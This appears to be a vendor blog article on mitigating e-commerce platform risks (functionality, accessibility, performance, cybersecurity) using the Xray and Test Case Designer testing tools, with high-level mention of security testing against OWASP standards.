Overview

The e-commerce industry has grown exponentially, with retail e-commerce sales worldwide expected to reach $8 trillion by 2027 (from $5.7 trillion in 2023). According to Nasdaq, by 2040, it is estimated that 95% of purchases will be made online.

At the same time, new technologies, like the Internet of Things and augmented reality, and new expectations, like single-click instant payment transactions, have also added numerous challenges for e-commerce businesses. 

Here are some of the most risky areas that e-commerce customers care about:

• Functionality
• Accessibility
• Performance
• Cybersecurity

In this article, we will take on the role of a large retailer developing a B2C e-commerce platform. We will analyze these key risks and show how they can be mitigated with the Xray tools.

Risks

Functionality

The first thing that comes to mind is to ensure the product has all the necessary features to make the user experience intuitive and satisfying.

Since this is the first iteration of our example platform, we will focus on core features, namely:

• User Authorization
• Search & Filtering
• Basic Shopping Cart
• Checkout and Payment System

However, this risk area is not just about the richness of the feature set - it also covers how well each of those features works. One of the critical issues in e-commerce is "shopping cart abandonment." While not the only reason, a bug-filled selection & checkout process could make customers avoid your platform. According to HubSpot, 42% of visitors leave a website due to its poor functionality.

Since our company resources are limited, we must find the right balance between these two aspects. We will address it in the Risk Mitigation section.

In this risk category, our platform should be seamlessly available wherever the customers want to interact with it - i.e., our omnichannel strategy. This is critical because the research by Harvard Business Review shows that 73% of online shoppers use multiple channels. According to Insider Intelligence, mobile e-commerce is currently the most significant slice of the giant online market. Therefore, we will address releasing our platform in web and mobile versions in the Risk Mitigation section.

The MVP set of elements necessary for our launch can be represented in the following mind map:

Accessibility

In most nations, organizations are legally responsible for maintaining an accessible e-commerce platform as it is viewed as a "place of public accommodation," especially if the brand does not have physical stores. Accessibility standards for mobile apps can also become a legal requirement if a customer can only access your business or brand via the web.

Non-compliance can have a significant detrimental impact on all areas of business. By one estimate, U.S. brands spent billions responding to digital accessibility complaints in 2020. Non-accessible websites also perform worse in search engine rankings and retain fewer users.

Most international digital accessibility laws are based on WCAG. The WCAG guidelines are organized under 4 principles: 

• Perceivable - the interface and its information must not be invisible to all users’ senses;
• Operable - the interface cannot require interaction that users cannot perform;
• Understandable - the interface and its information must be clear, and operation must be predictable;
• Robust - the content should be compatible with various users and technologies. 

WCAG is organized into three levels: Level A (least strict), Level A.A., and Level AAA (most strict). Sites that conform with Level A.A. guidelines are considered sufficiently accessible for most users so that level will be the goal in our example in the Risk Mitigation section.

Performance

An "unbearably" slow shopping & checkout process contributes to the cart abandonment issue just as much as feature limitations and defects do. Customer expectations in this area are incredibly high - Google suggests that web pages should not take more than 2 seconds to load, which has been the goal for most e-commerce stores.

The importance of this risk category cannot be overlooked. Amazon discovered that every extra 100 ms in loading time cost 1% of their sales. According to Oracle’s “The New Topography of Retail” report, 71% of customers value a fast and highly responsive online marketplace as crucial for a satisfactory shopping experience. 

For our Risk Mitigation section, the example platform should handle the "normal" expected traffic levels and peak events like big holiday sales. And, of course, the performance requirements should apply to both web and mobile versions.

Cybersecurity

Cybersecurity is another top priority as we need to ensure all data stored online is protected, and e-commerce businesses have several regulations to consider:

• PCI DSS
• OWASP ASVS
• ISO 27034 / 27001
• NIST 800–218 
• CIS Control 16 “Application Software Security”

We can identify the following common themes in this risk category:

• Detect security issues as fast as possible (increasing popularity of DevSecOps).
• Establish guidelines for writing secure code.
• Consider nuances of web, mobile, and cloud application security.
• Apply both static and dynamic security testing techniques.

• Stay up to date with monitoring common vulnerabilities such as: broken authentication, injection flaws, cross-site scripting, and misconfiguration.

Focusing on OWASP ASVS in this article, in the Risk Mitigation section, we will demonstrate how our platform will strive to achieve level 2 (see below).

Source

Risk Mitigation

We must mitigate all those risks to guarantee customer satisfaction and regulatory compliance. One of the primary methods is high-quality testing. Given the industry's intense competition, the Agile world's speed-to-market demand, and limited resources, we have to test smarter and achieve greater coverage with lower effort investment.

Here is how to accomplish that with Xray:

Functional

Starting with the Functionality risk, freeing up resources from testing allows us to dedicate more time to delivering the feature set that optimizes customer satisfaction. To facilitate that, effective test design is a crucial part of SDLC as it helps quickly identify defects in product implementation or gaps in requirements.

This risk area can be broken down into different components, for example:

• UI functionality
• API (both internal and external) functionality 
• Visual correctness and consistency, etc.

We focus on the first one in this article, you can learn more from our API (Cloud / DC) and Visual (Cloud / DC) testing tutorials.

Given the number of possible scenarios, testing the core functional workflows of our e-commerce platform with Test Case Designer (TCD; Cloud / DC) could provide significant speed and quality benefits. 

Remember the mind map? With a click of a button, we can easily import it into TCD, add a few more details (if desired), and quickly convert it into the scenario set with high interaction coverage. Since this is our first release, we will apply the risk-based algorithm setting in TCD (called “Mixed-strength”) and increase the priority of several factors (highlighted in green below):

We can review coverage visualizations to determine the incremental gain of each test and decide whether executing the whole suite is worthy of a specific project goal (in our case, it is):

With the table generated and the coverage reviewed, we will create the data-driven script templates with execution instructions. Given the workflow is a bit different based on user authorization, we will create only 2 templates with filters leveraging this syntax “{Parameter Name[Value Name]}”. Assuming the goal of in-sprint automation, we will utilize the BDD option in TCD - more specifically, Scenario Outline (to minimize repository clutter in Xray):

We can then easily synchronize both Outlines to Xray in one operation:

As you can see, once the testing ideas are collected (e.g., in the mind map format), the rest of the design process becomes very streamlined with TCD without losing quality.

Non-functional

The other three risk categories are commonly grouped under Non-functional Requirements (NFR). In many instances, these are covered by automated tests designed in specialized tools to build and execute scenarios that would otherwise be impossible to set up.

Xray integrations with such tools enable us to centralize the results across numerous risk mitigation strategies, which improves traceability and understanding of the overall status. You can learn more about integrations with: 

• accessibility testing tools in these tutorials: Cloud / DC

• performance testing tools in these tutorials: Cloud / DC

However, regarding non-functional requirements, automated tools can often help us find only a limited set of problems (50% - 80%, according to the community). In addition to tricky scenarios, the nature of the platform can cause challenges for automated testing solutions. Specifically, a high amount of complex & dynamic content (e.g. JavaScript, AJAX, single-page applications).

Therefore, it's vital to complement automated execution with intelligent manual testing.

Depending on the scope, models dedicated to NFR testing can also be created in TCD, or, in our example, the necessary scenarios can be created directly in Xray Exploratory App (XEA) or Xray.

For instance, accessibility testing is often aimed at the assistive technologies that support the 4 WCAG principles:

• Speech recognition software;
• Screen reader software;
• Screen magnification software;
• Special keyboards for easy typing made for the users who have motor control difficulties

We can leverage a XEA session (with the charter like the one shown below) to check our platform’s mobile experience for compliance with the AA level of WCAG:

Some of the testing ideas to consider:

• Is all the critical information easily visible when the appropriate contrast ratio is used?
• Can the screen readers successfully interpret all the different product images in descriptions and reviews?

For the other portion of the example, tricky performance and cybersecurity requirements can be effectively validated, with easily established traceability, via manual tests created directly in Xray. 

Specifically, we mentioned a common e-commerce performance metric of loading pages within 2 seconds. That should also apply to the specific combination of factors like the one below:

Secondly, since we target level 2 of ASVS, we would need to perform Static and Dynamic Application Security Testing (SAST and DAST). 

SAST scans a software application from the inside out before it is compiled or executed. In contrast, DAST simulates the actions of a malicious actor trying to break into your application from the outside. 

Manual cybersecurity testing can be helpful with use cases focused on specific versions and circumstances of the latest vulnerabilities. Furthermore, posing as a hacker and assuming they have more than a limited application knowledge leads to a more comprehensive risk evaluation. For example, injection attacks are #3 in the OWASP Top 10 threats.

We can create dedicated manual tests in Xray to address the script injection and cross-site scripting attack types:

Regardless of which risk you are mitigating with scripted manual testing, it's good to remember the best practices for writing great test cases. You can learn more in this article: Cloud / D.C.

Given the complexity of modern enterprises, all types of testing are necessary, with efficient coordination between them. No matter which approaches teams choose or the tools they prefer for test automation and CI/CD goals, it is essential to enable all of them frictionlessly. And our suite of tools is flexible enough to do that.

Furthermore, the centralized storage of all those different testing specifications and execution results in Xray/Jira enables comprehensive reporting, significantly improves visibility, and simplifies the path to success for our e-commerce platform.

Conclusion

Customer focus - across acquisition, conversion, and retention - is an overarching theme affecting all e-commerce retailers' activities. Retailers must promptly and continuously address several key risks to maximize customer satisfaction and achieve a competitive edge in this crowded industry.

Streamlining & automating application QA processes and integrating them into the software development life cycle is becoming the norm. That creates a long-term, sustainable approach to quality assurance.

To facilitate the mitigation for all 4 risk categories, Xray supports the entire arsenal of techniques with test case versioning:

• Manual and Automated tests (created in Xray or Test Case Designer);
• Exploratory testing using Xray Exploratory App;
• Integrations with specialized automated testing tools.